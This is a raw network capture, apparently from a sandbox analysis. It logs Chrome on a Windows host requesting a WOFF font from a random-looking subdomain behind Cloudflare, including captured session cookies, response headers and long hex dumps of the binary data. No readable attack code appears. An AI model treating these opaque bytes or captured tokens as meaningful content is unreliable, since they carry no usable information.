2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 9a cf 32 9d 4d e7 8a 0a 96 48 c8 6c 22 d8 b5 a2 1b ed 62 bc b1 36 52 21 05 95 14 c7 81 94 35 dc bc 61 7e c1 b4 7a 90 11 b4 ca 1d 10 b9 22 0a 08 40 c0 9b 31 90 dc 27 05 17 40 40 05 00 50 85 55 b6 46 4e 76 17 a1 cf f8 91 28 18 bc 86 dd 28 8a 0d 6e 1d 26 6e 7d 95 e8 90 58 8c 91 02 38 4a a0 94 87 e5 5a 50 e2 4c bc d0 25 06 2b 80 8c c4 05 99 9c 71 86 d8 29 ca 83 fb a6 88 8f df 77 45 f5 08 aa 72 b3 dd 04 90 49 e7 01 a0 73 40 15 14 14 29 cb f1 82 58 04 82 31 5a 02 29 dc 92 31 91 53 51 02 a6 fa 29 2a 80 d8 45 b8 e5 49 0f 90 d8 00 4a f9 09 a8 6e 75 4c 81 89 2f 00 77 7d b0 d2 75 b4 ea 9a ae 67 98 3e 3c 14 be 13 55 48 55 f9 1e 60 2e ed fc 69 cf da b5 42 06 20 96 20 07 60 a8 05 c2 4c f9 e3 9b e0 38 ab d1 83 9b 3a 8b 85 5e ca a3 dc 75 85 2b e0 30 ac 55 ea ed 61 ee f8 Data Ascii: 2MHl"b6R!5a~z"@1'@@PUFNv((n&n}X8JZPL%+q)wErIs@)X1Z)1SQ)*EIJnuL/w}ug><UHU`.iB `L8:^u+0Ua
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 39 aa 76 68 dd 8c 5b 2f 6b 9f 1d b3 c9 cf 85 80 7e 4d 7d 1c 44 b5 56 8e d5 c6 7d 25 c4 02 3b 1b 15 6b 50 8d 7e cb ba 24 26 a5 bb 63 d1 11 53 27 2b df 09 8c 31 2c f4 05 2d 8e 9d 58 08 42 45 de 45 e3 4e a2 83 07 5d cd 4a 33 e0 b5 97 e1 ae c5 ad d6 f0 84 e2 b0 3c c6 03 e7 41 3f 7a 78 70 cc 8c 76 2e 02 cf b0 85 b1 bb 8b 6f c8 80 02 d5 9e 4a 0a a0 e3 4b b7 9b 9f c2 a6 10 af 98 9a 67 7a 8f e4 ad 45 d1 58 cc 2e ad 55 97 e2 39 c3 32 ea cd 24 ff 27 7b 73 5b b5 87 25 e3 73 aa 4d 39 f0 18 1c e6 1b 82 af d3 ba d2 3c 76 ce 79 bf b0 50 9d c3 58 69 34 3f af 43 4d 37 3b 6c 0d ce 6f 77 95 ec 53 d8 54 86 b1 6d 91 2a 74 76 a0 4a b1 bf 18 8f 94 7e cf d7 cf f4 a0 5e 55 14 0e 79 da 72 32 2d 41 57 0e 69 b4 3f 77 7c c5 7f e3 8f 3f 86 9b ff 3b dd 9e 48 b6 50 f6 da 04 3c 9d 93 59 Data Ascii: 9vh[/k~M}DV}%;kP~$&cS'+1,-XBEEN]J3<A?zxpv.oJKgzEX.U92$'{s[%sM9<vyPXi4?CM7;lowSTm*tvJ~^Uyr2-AWi?w\|?;HP<Y
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 00 6a 07 4d d1 ff 28 8b fc 6c d2 51 9d 0e 83 9d 22 5c e7 48 fc 92 05 99 2d cc c3 68 90 eb c1 5c 1c b1 24 18 71 2e 08 a3 6c db c7 5b cb 58 47 63 ba 7c 3d 91 9d bf 11 44 11 fd a1 6b 70 7b ee c6 de 50 49 44 db ef aa dc 2c 43 d6 77 cc 1f aa ac 43 7b cb 87 68 e6 c2 24 ef 71 39 38 ea ca 50 a1 dd a1 b9 16 af e7 5b 36 1a a3 68 7d b7 d1 9b 19 9e 1c 5e da b3 75 d6 19 24 b3 60 d0 95 e7 b7 0d b0 2c 6e a1 9e a0 81 cf 5d 0e 63 53 f1 46 00 2f bb fe 1f 70 a5 9e 58 1d 8b e9 75 3b 36 ba 42 6c 18 29 19 db c5 7e 29 4e 35 47 ef 03 d3 11 c4 6b cc 5c b2 8c 98 87 f1 b4 13 7a 4a eb 68 53 1d d1 cd 11 38 50 f8 a2 27 ad a6 67 78 4b 59 17 a6 07 71 e0 18 1c 10 0b 1d 4d 5f a1 68 c3 41 66 ce 84 77 dd 8c a7 e9 0d 2d 3e d3 90 90 f7 e2 a7 6d b2 50 7a fd 83 9e 09 59 ba 40 ff ba d9 2a 6d a3 Data Ascii: jM(lQ"\H-h\$q.l[XGc\|=Dkp{PID,CwC{h$q98P[6h}^u$`,n]cSF/pXu;6Bl)~)N5Gk\zJhS8P'gxKYqM_hAfw->mPzY@*m
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: f5 67 15 d4 4b a0 1c 83 ae 60 ec ae 01 51 24 52 a8 17 ec d7 e5 02 86 d6 f7 93 a3 02 4c fd 08 2e 8c 51 67 00 58 f0 b7 dd 29 00 ab bc b1 63 95 3a c0 e5 1b 8e 84 eb 18 37 bb ef 5b d7 78 fc 7d eb 19 6f bf 0f 7d 63 b3 00 00 20 24 28 4c 1c 20 c3 ee 31 20 a1 ae 01 e7 67 65 60 3c ab 00 96 58 09 ac 4a bb 44 03 43 dd 38 d9 f3 a2 2b cd a5 b3 5c 2d 6b ac c0 93 b0 6f fd 3a 04 fd 22 2e c2 be 55 37 a0 58 93 20 c4 cf 40 e9 fe 01 ff a3 bf 02 54 df f1 8b 37 d2 18 b9 b2 03 8d 66 21 96 60 25 57 88 a6 3f f3 e8 ee 9c 1a f8 ec 5f 95 a3 57 af 34 dc c0 f6 14 72 54 dc 81 7e 73 3e 7a 37 c6 fa dd 84 b2 82 b7 a0 7a 70 7b fd bf 42 d0 4f eb 28 a4 30 55 01 23 24 61 8a 97 2a 35 0e da f7 f4 cd 10 22 2c 42 aa 28 31 81 9a 39 89 24 32 0a 29 54 d2 64 c9 91 a7 40 89 a2 74 11 35 59 a3 4e 03 4d Data Ascii: gK`Q$RL.QgX)c:7[x}o}c $(L 1 ge`<XJDC8+\-ko:".U7X @T7f!`%W?_W4rT~s>z7zp{BO(0U#$a*5",B(19$2)Td@t5YNM
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 40 60 4f 3c e0 20 be 10 e4 01 3d a8 7d a6 28 9b 38 a1 c5 64 57 74 3d ec 7f 7d 08 26 bd 16 95 ea 5b 16 b0 5d d2 de b5 6e b9 e3 ae 7b 6e 6b 72 28 f0 1d 1b 15 eb 74 db 4d 9d ae bb 2f 4e a5 f6 c0 61 4c 1d c7 6e b4 0c 4d bd 43 5d 9c ee 65 37 b8 ea ff 8d 8b ca 96 bb eb 56 d5 5a 4d 90 d4 e4 b5 76 87 e4 8d 45 7d 9a 48 7b 15 e0 5a c2 73 b4 ee 2e be 04 f8 b4 7e c7 da 3d f4 f5 ed 7a 5a 3f ac 25 b2 36 32 5a f6 5f c0 4a 1d ff a4 c9 f4 bf f6 4f f8 3a c0 5c 92 fa 51 9c be bf bc 3e 88 6f 28 0a 9c e4 45 91 5e ff 83 f9 e0 35 e2 f6 53 a6 99 64 a7 9e 68 3c 39 c1 74 f8 af 2d f4 6b e8 e9 d0 0e 42 8c e0 02 a8 36 9f 40 50 6b 72 08 44 df 89 c3 a0 23 f1 be 82 8f 9f a6 6c c8 ea e2 70 81 d8 e7 08 a7 65 e7 73 8e 16 c3 78 1e d8 5f dd 27 48 e7 20 ba 7f 9a bb 53 d4 32 c3 c3 11 59 11 56 Data Ascii: @`O< =}(8dWt=}&[]n{nkr(tM/NaLnMC]e7VZMvE}H{Zs.~=zZ?%62Z_JO:\Q>o(E^5Sdh<9t-kB6@PkrD#lpesx_'H S2YV
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: cf 7b e2 5f aa f0 6f 0a fc 99 a3 fe 7b 4f fc 4f 15 fe 4f f1 7a c1 4f 5d c3 5e e8 fa 49 b7 d0 0e 70 d3 ad 1f fb c9 d3 33 05 10 1c 9c 8f f4 d8 f9 ab 65 5f 2e 9e fa 31 5c 0f 80 47 2e 03 e8 af 1b ab 78 90 19 8c 5c 3d 16 50 9e 10 aa b7 bb f1 96 e9 e8 50 5a 57 99 89 cb 42 8c 4f a5 c6 83 b0 72 71 d2 e9 5c 2c 8d e9 08 ac 4c 5d e9 e1 2a 2c 52 ba 08 9f 4a 8e 07 a1 28 86 32 a7 dd c8 b8 a8 8b 07 a7 74 ba 73 43 a8 e0 ea ca f2 67 58 b7 fe e2 8b 5d 0d dd c5 61 5a 55 59 9a 0f cd a5 7c b3 55 ed 6b 08 d9 3e 2e e8 14 eb a1 c6 2d 23 31 06 d3 5c 07 73 91 a5 48 f6 10 c2 65 09 59 44 d5 32 9e c2 c0 67 88 49 29 63 f6 60 86 66 ae f7 aa d0 58 94 7c 06 f4 ab 58 8e d0 72 36 8b 19 fb d1 96 1d 44 50 d7 90 6d 47 b6 20 cc 83 76 4d b5 21 b9 79 ec 7d 89 41 6e 78 78 e8 81 87 f5 4d cb 09 b0 Data Ascii: {_o{OOOzO]^Ip3e_.1\G.x\=PPZWBOrq\,L]*,RJ(2tsCgX]aZUY\|Uk>.-#1\sHeYD2gI)c`fX\|Xr6DPmG vM!y}AnxxM
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 80 1c 69 5d bf cc a1 e8 ac ef 3b f9 0a 24 ed 13 15 ac 4d 28 6d ea 7c 96 81 ad 6b 76 cb f2 ea 9a 98 e8 b3 84 7a ce d7 ad d3 1a f7 5d b8 96 7f e0 ef fb 3e d2 ff 10 71 be 45 2d 8d b5 93 2a 9f 2a fe 87 98 cc f7 1a 0f e6 a6 af f9 2b 26 34 d7 d6 39 10 09 be 2e 9e f0 d4 8e 33 b4 8b 19 e5 a9 9d 73 66 58 9e dc dc f7 04 ae e0 53 fd d4 74 7f cd 9a 76 7c 53 74 7a b8 41 07 9a 43 e8 66 29 ea 9d 9e 9c 9f 60 5e dc a2 67 a2 89 2e 8a 3d 6a 11 03 df b2 c3 35 2d db bf 54 8e 2c e8 63 02 b6 b6 82 1f 1e 48 3c 04 3a 4d 54 d0 ba 1b 7f cf 00 55 2a 7c 3c 7a f7 c0 a9 d4 3c 3a e4 66 3e 91 cb 46 cd d4 3b 3d 5e 7c 75 77 09 fc 80 de 6b 83 b1 31 20 03 f7 52 5b 17 79 79 fc fa e3 c7 fe 67 66 0b 87 1e ce e4 67 4f 5f 86 a5 da ce f5 c1 0b 83 57 1e 81 d4 75 41 77 3a b7 59 8b b0 34 ec d4 02 d2 Data Ascii: i];$M(m\|kvz]>qE-*+&49.3sfXStv\|StzACf)`^g.=j5-T,cH<:MTU\|<z<:f>F;=^\|uwk1 R[yygfgO_WuAw:Y4
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 5b 7c 11 96 dd 39 50 c7 5c e8 b6 f3 ef e1 f8 f4 af 76 d7 04 6c a5 5b 5e a5 1f 82 e5 c8 48 75 02 05 a3 99 05 4b 0b cf 39 99 9b 44 e9 29 d2 4f e0 4d 76 5e eb d9 c9 2a 51 3c d3 98 aa 7e 11 1f 98 ae d2 2b d3 a4 f9 9a 0c b7 3d 84 70 b2 dd be ff 15 fd d3 ca ed c7 5a e4 3b 4f 4d 7e fe de f7 38 7c 59 78 f5 45 72 48 c9 b4 a5 47 d1 4f d6 15 62 27 b3 8b 70 d3 fa a2 3e a2 bc 65 ae 08 dd f4 4c 26 b8 0e bb 11 81 6e 8c ee b3 4e 29 73 93 b2 4d 47 db 14 36 f3 fd ef 69 4c 75 77 3d d1 4d 84 97 19 e8 a7 6b fe ff f9 e1 fa fd 4c a2 2c c7 1e 8d a7 96 3f 2a d7 8f 3f 1f 03 bf fd da ba fb e8 7b 75 c5 a3 0a fe 9a ef 16 b0 ec ef b4 ce b9 94 ed 47 9b 64 db 4f 4d ac 65 d4 fc 88 ba 28 3c ff 22 39 a2 6a b1 ac 41 de 47 d1 17 e3 ce e4 66 86 cf a8 ea 07 b9 46 7e 13 54 1d 4f 2d de cc 88 5a Data Ascii: [\|9P\vl[^HuK9D)OMv^Q<~+=pZ;OM~8\|YxErHGOb'p>eL&nN)sMG6iLuw=MkL,??{uGdOMe(<"9jAGfF~TO-Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49758	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:00 UTC	1422	OUT	GET /yzTXN8LUzG9iFgM78Xozit0SHqr50 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://jcq36.einewomi.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
2024-04-24 21:08:01 UTC	621	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:01 GMT Content-Type: font/woff Content-Length: 35970 Connection: close Content-Disposition: inline; filename="yzTXN8LUzG9iFgM78Xozit0SHqr50" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c62HxOrd3R2XzfUOI7p8Vovt1mCiQYXKNvt5vj6nRZn9OUyqI4zhVAf5Lp0rm4un%2FqXbas5xzA%2BbU7YsByj5ZDADXxPEtXygAZSSOPv4P9GUzDKK0HFgqxuXjGDLOQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879910f259cf28f7-LAX
2024-04-24 21:08:01 UTC	748	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8c 82 00 11 00 00 00 01 24 20 00 01 00 00 00 00 8b 5c 00 00 01 26 00 00 02 93 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8b 54 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 17 df 00 00 4e b6 ed 42 8f b9 47 53 55 42 00 00 19 60 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c 10 00 00 00 46 00 00 00 60 69 c3 7b 5b 63 6d 61 70 00 00 1c 58 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 84 dc 00 00 00 2f 00 00 00 3c 29 81 01 c0 66 70 67 6d 00 00 85 0c 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 84 d4 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 21 74 00 00 52 61 00 00 9d a4 24 e0 b2 69 68 65 61 64 00 00 73 d8 00 00 00 33 00 00 00 36 1b 16 7d b8 68 68 65 61 00 00 74 0c 00 00 00 Data Ascii: wOFF$ \&DSIGTGPOSNBGSUB`3yOS/2F`i{[cmapX<?+cvt /<)fpgm?gaspglyf!tRa$iheads36}hheat
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 02 da 41 45 b4 8b f6 d2 01 fa 90 4a e8 10 1d a6 06 6a e2 04 f6 b2 8f bb 71 26 5f c6 d7 f2 60 be 81 87 f0 50 be 91 87 f1 4d 3c 9c 6f e6 5b f8 56 1e c1 b7 f1 48 1e cb 53 78 3a cf e0 99 3c 8b 67 f3 1c 9e cb f3 78 3e 2f e0 85 bc 88 17 f3 12 5e ca cb 78 39 af e0 95 bc 8a 57 73 2e e7 f1 26 de ca 85 bc 93 8b 78 0f 17 13 f3 6a 55 4a a9 94 ae 42 d4 53 9d a7 1c 32 28 5f b5 d0 01 55 c7 d3 d5 51 9e a1 82 3c 87 e2 79 ae 6a e6 79 d8 e7 ab f3 bc 50 85 78 b1 3a c5 cb d0 b6 02 6d 2b b1 af 56 d5 fc 8a aa e5 35 68 5b 8b 7e 45 b8 57 4c dd e8 72 70 c0 07 1e f8 30 ea 19 2a 50 75 18 f9 24 4f 41 af e9 94 86 d1 b7 f1 4c 4a e1 59 e4 e5 d9 e4 e1 39 18 65 ae da 02 4c b5 c0 14 02 a6 20 2f 22 3f b0 6d e1 a5 94 08 8c 8d bc 1c bf 2b f0 cc 4a ec ab c8 00 e6 a3 9c ab 1a f8 15 ea 2a d8 f3 Data Ascii: AEJjq&_`PM<o[VHSx:<gx>/^x9Ws.&xjUJBS2(_UQ<yjyPx:m+V5h[~EWLrp0Pu$OALJY9eL /"?m+J
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: de 74 d3 5e f4 39 ff 11 7a a1 e7 db 00 aa 6a 1d 19 56 5a 57 86 48 dc 00 97 0c cb df 06 44 32 47 d0 be cf d6 47 e1 40 dc f0 9f e8 bc ef e6 e4 11 eb e1 13 bf 8f ec f1 0c fa c6 ab 90 aa 27 03 73 ec a2 5a 00 90 2e ee 04 71 d6 a8 af e9 82 6f 6a bb 7a 16 de dd 07 09 27 ab 4f 54 b9 aa 55 cd aa 5a fd 45 2d 01 d5 75 ea b0 3a a3 3e a3 38 d5 a4 ce 83 de 7c d0 df 97 52 70 75 94 92 c0 9f d8 51 f9 02 a8 d4 bf 0d 42 5d 85 3a 41 99 ea 04 a8 1d 40 1e 50 59 8d a6 7b cc dc 9e fc 2d 41 9c 5d 4e 7e e1 ae 81 59 7d 09 c9 c5 66 eb 02 ac d5 ea 24 f2 9c 78 a1 06 76 01 ed 20 75 4a f3 4a 73 10 96 d3 c5 99 53 50 7e d2 e5 2c 1e 67 be 18 f1 f2 a0 3a 07 1a 6b d4 11 70 26 01 60 40 f6 04 e9 96 a1 d1 83 3c d3 03 30 a4 9e 21 58 2e b9 e8 f5 4a d5 14 1b 2a b7 a9 57 21 b7 4c 00 a9 f7 14 b2 63 Data Ascii: t^9zjVZWHD2GG@'sZ.qojz'OTUZE-u:>8\|RpuQB]:A@PY{-A]N~Y}f$xv uJJsSP~,g:kp&`@<0!X.J*W!Lc
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 7d ac de 52 27 f5 1a 9c 39 86 da a5 f6 aa 77 20 cb 62 68 0f 34 06 da 9b 6d cb 57 8e 1f aa b3 6a 87 ab 1a 2d 95 b7 c3 cd ea 20 ec e4 20 e4 58 62 d2 a1 73 2d f1 c6 01 8c ad b5 af 0c 39 56 10 ed a5 c0 9e 8a b3 24 f8 b3 0c f5 67 3c dd 1c d1 67 f8 61 5f 6f 80 8a a5 f0 7d 7e b1 da 06 f4 6d c1 dd 15 e4 87 9e 7f a2 df d2 6b 3f 0a 7c 59 82 eb 55 1a 8e e3 93 ba 16 47 b5 11 ef f0 ef 6d 8b 2b d5 ea 7e 3c b9 4e 7f c7 25 1e 2d e8 5a 17 09 60 fe 86 9a a4 72 25 2f e8 02 2b db 4d 37 e8 55 27 f5 38 65 ab 0f 1d 9a da 48 4c 4b 16 fe e6 a4 da 6f 71 df a0 ae 62 b9 65 ed bf c4 41 e5 d1 d0 46 b6 ae f5 10 75 5c 1d 06 cf fc a6 15 68 2a ac 9c da bd 26 1f f6 56 49 be c2 33 cf f4 db d8 52 bd 9e a6 69 8f 20 71 d3 03 9d 50 07 1c 1f 60 98 39 7c c4 bc 3e 14 3d d2 60 a6 15 ad 96 20 b3 6f Data Ascii: }R'9w bh4mWj- Xbs-9V$g<ga_o}~mk?\|YUGm+~<N%-Z`r%/+M7U'8eHLKoqbeAFu\h*&VI3Ri qP`9\|>=` o
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 29 71 c1 88 90 33 d7 58 35 64 95 ce b7 a1 21 51 be 30 47 2d b2 0e b5 9e 1d 15 6d 0b c8 96 da fa a0 ca c3 08 65 c8 4a c2 22 b7 ca 90 fe 55 ad b1 5d 3d d7 69 66 d6 59 bb ac 92 9b df 5d b4 59 47 5b a0 d6 a0 36 4b 32 2b 43 f5 17 b3 12 b6 f2 f1 06 e4 bd 46 ab 26 29 ed db 72 c8 f9 8e 27 7c d5 c0 f4 66 7f a5 04 5d b9 a5 ae 07 5d 54 ee 76 a8 3c aa ab 4e c9 d2 8a a4 2a d8 25 df fe 6b 5b 14 2a 5b 9a db fb 4b 97 75 75 4a 65 c4 dc dd 6b 7f c9 2f b5 48 99 53 57 d5 44 fb 7b 1c d4 1d 75 f0 0b a9 e2 ef b2 91 c5 37 80 af c9 ad ef 99 d5 fd 12 21 b2 25 f3 31 35 2c 45 de c5 d4 c9 93 a6 8e a5 09 bf 33 44 e7 bc f2 05 6a 36 20 00 d0 35 76 26 ee 24 8a a7 e9 2f f4 18 f0 41 b5 c0 14 14 2d 0d e8 15 76 e9 d5 5a d5 d6 45 58 cb 6c b1 fc 66 8b 95 ed 35 c3 fb b5 56 22 f1 ae 1c b8 d6 92 Data Ascii: )q3X5d!Q0G-meJ"U]=ifY]YG[6K2+CF&)r'\|f]]Tv<N%k[[KuuJek/HSWD{u7!%15,E3Dj6 5v&$/A-vZEXlf5V"
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 3b 8f a6 4b f8 4e be 87 02 3c 86 c7 51 26 a2 09 ec 14 f1 e4 e7 d4 83 a7 f0 14 1a c8 53 79 2a f5 e6 a7 f8 29 4a e2 5f f0 2f 70 fe 34 3f 8d f3 5f f2 7f a2 cf 34 9e 46 5d f9 57 fc 2b 4a e3 67 f8 19 9c ff 9a 7f 8d f3 e9 3c 9d ae e1 19 3c 83 46 f1 4c 9e 49 f7 f0 2c 9e 45 63 78 36 cf a6 2b 79 0e cf a1 7e 88 59 cf 92 0f 51 eb 79 1c e7 f2 5c 1a cd f3 78 1e 0d e0 f9 3c 9f 46 f0 0b fc 5f d4 8d 17 f0 02 1a cc 0b 79 21 dd c0 8b 78 11 dd c6 8b 79 31 8d 44 a4 5b 42 b7 f0 52 5e 4a b7 f2 4b fc 12 8d 47 c4 5b 46 fd 79 39 2f a7 6b 79 05 af a0 eb 78 25 af a4 eb 11 07 57 d1 55 bc 9a 57 eb ff 3b c4 b9 74 35 ff 96 5f a6 cb 10 19 5f a1 3b 78 0d af a1 9b 74 84 a4 e1 3a 42 d2 5d 88 90 9b e8 76 44 c9 cd 74 b3 8e 93 94 a1 63 23 28 dc c1 3b 70 dc c9 3b 69 18 a2 64 11 0d 42 9c dc 43 Data Ascii: ;KN<Q&Sy*)J_/p4?_4F]W+Jg<<FLI,Ecx6+y~YQy\x<F_y!xy1D[BR^JKG[Fy9/kyx%WUW;t5__;xt:B]vDtc#(;p;idBC
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 84 e2 4d a6 2f 86 58 3a f1 f7 51 07 8a 8e 96 dd 16 0d 2b 1a 54 94 04 e7 22 8a ea f2 9f 23 98 50 be 0e 0e a6 06 63 83 93 03 e7 82 04 ce 04 7e 0d 14 06 32 02 63 02 ab 8f 3f 75 fc 49 ff 01 7f be 7f 07 f8 73 fc ab fc cb fc 63 fd f1 fe f8 a3 95 4a 9e aa 38 27 ec 40 58 be 75 35 c5 8a 4c 9b 39 e5 af cd 65 0b 47 f9 98 13 7c ad 34 70 06 da 4c 76 52 9c f9 65 db 65 ab 93 e6 2c 71 32 9d 2c 67 8d 93 e3 6c 74 f2 9c 5d ce 1e 27 df 29 70 0e db de 61 e7 b8 f3 31 e7 1d 4e de 3f ea 6c 27 e7 cf 22 c4 ba f4 ae 36 6a b1 f6 e8 4d ad 52 8a 66 6b 9e 36 e9 39 4d d2 34 8d 53 82 86 6a 87 b6 6a a7 66 6a be 5e d5 58 bd a6 17 35 45 dd f5 ba c6 eb 0d 4d d4 0c 2d 51 86 d2 94 ae 09 ca d4 7d 5a a0 85 4a d4 7e a5 aa 9f b2 b4 59 3d d8 a7 95 4a 52 9c 16 69 8c 66 11 4d 1b da 9a 6b ae 31 f7 b8 Data Ascii: M/X:Q+T"#Pc~2c?uIscJ8'@Xu5L9eG\|4pLvRee,q2,glt]')pa1N?l'"6jMRfk69M4Sjjfj^X5EM-Q}ZJ~Y=JRifMk1
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 1c 79 97 ab 31 c7 11 da 60 1f 5c 11 1e e6 af 33 1a c2 62 c2 63 42 82 74 a1 fe a1 29 51 1a e8 94 ce 90 11 c1 e8 fd 55 ea 80 00 bd bf 37 63 34 e0 8c 2c 4b 66 9c d1 a8 95 de 18 b4 e7 f1 5f 17 9e 58 61 2b 29 ef 5e 51 bc fe dc 90 fd 36 83 e6 2f 1c 5a 74 1b c7 77 0f ae e9 11 3e e5 77 66 b6 ed ae 69 bf 2f 33 fd cc 8a 96 23 83 05 6c 79 fd bc 92 4e e1 a4 fd d1 ae ae a6 7e 61 39 a5 77 d3 e8 6d 7e 35 7f 04 19 50 ba 2d 25 32 c2 db 0b 46 11 97 21 86 c1 cd 80 5e 40 39 c1 b9 99 03 fa 04 a2 0a 8c c2 42 fc 7c 3d dc 90 01 1b 78 b5 7f 12 1f 1d 17 c7 58 32 fd b2 62 cc 19 5c a0 3a 2e ce 18 ed 0d 38 47 30 e6 8c 2c 6b a0 8a 63 b9 87 47 ce 75 b5 9f c5 e8 e8 9f 71 7a dd 97 c9 2f 3f da fe f8 e2 bc fc c1 63 6d f7 5f ce f9 a2 56 b8 ee df f1 32 f6 7e fe 04 f6 7d ad e7 c6 8f 17 6c dc Data Ascii: y1`\3bcBt)QU7c4,Kf_Xa+)^Q6/Ztw>wfi/3#lyN~a9wm~5P-%2F!^@9B\|=xX2b\:.8G0,kcGuqz/?cm_V2~}l
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 03 28 ac 50 96 bb ef f8 1e 3c 28 7c 24 bc f6 92 80 47 fa cf 6c 9c 21 68 97 ad 5d b7 f4 2f ec 5f 77 ff 34 c9 7e 80 a9 b7 bf c0 ef cc ed 7b 44 f8 b2 bd ae ae 4d 78 98 cc b3 e4 d1 db 5c 3a d0 38 89 e8 df b0 50 15 cf 61 16 24 07 cb 32 cd 40 e4 00 51 7c 28 fa 37 2a 22 38 d0 d3 1d 25 e1 24 5e 11 20 11 ac 99 62 10 13 67 c9 2c 04 e9 1a 20 0a 5b 15 a1 23 19 7d 66 da c0 4b 7b 9a 7c 47 dc 32 2b ba b2 57 ae 78 7f 14 bd 3f 75 e5 33 ed 4f 7e 91 fd 45 74 5f 75 75 ef fb c2 fb b3 b6 bc e4 9f 37 70 64 81 6d 5a 47 51 64 73 49 7f cf c0 b9 4b 73 0f f4 e4 1c 7f b8 70 76 55 fd f4 fe ee be 33 17 9a 1e 1e 28 00 7c fd 81 76 bb a9 1d 15 6a 0b 22 04 a2 3a d8 9b e8 04 51 be d2 09 88 41 be 13 6d 85 df 15 66 70 2b 84 19 02 f7 e4 67 9f dd 6d 83 fa 0f 41 7f df 85 fa c1 28 c6 66 00 ca 63 Data Ascii: (P<(\|$Gl!h]/_w4~{DMx\:8Pa$2@Q\|(7*"8%$^ bg, [#}fK{\|G2+Wx?u3O~Et_uu7pdmZGQdsIKspvU3(\|vj":QAmfp+gmA(fc
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: db c2 c7 5d 85 d2 70 9a c3 c8 aa a2 8d 93 28 3e 95 5a 45 fe 3b 50 6b d7 92 2d d1 31 ee 01 1e f7 fd 6c 1b 51 87 4b ea eb 87 6c 21 42 79 43 c0 d4 a8 cc 34 85 6a 30 de 96 9e 0c 5c fd 20 68 c8 d6 71 1a f2 85 27 6e 36 04 64 45 65 36 a5 c8 54 24 fc da 02 f3 0d a4 20 f2 45 91 28 cb 66 06 9e 52 63 06 ac 77 62 1a 49 f2 56 e3 10 c0 f0 d3 12 cb 30 24 48 1b e9 17 a9 05 db d3 8d 58 e0 8e 3e b8 d6 68 31 63 c5 0f 27 83 fe d3 f1 be f8 92 25 63 de 38 ee 13 1e 72 f4 c8 99 c5 97 ec 3f 12 bd 72 61 f7 25 61 c3 ff 0f f0 03 ed c7 df 47 7d c1 40 82 9f 1b f0 21 08 78 ce 1d bc 51 90 65 2a de 5d 25 79 a5 6a 4c f5 55 60 80 de 5f e7 27 69 2b ad af a7 3a 1c 3c 18 bd c1 62 d6 9b f5 46 d1 45 25 28 ea 40 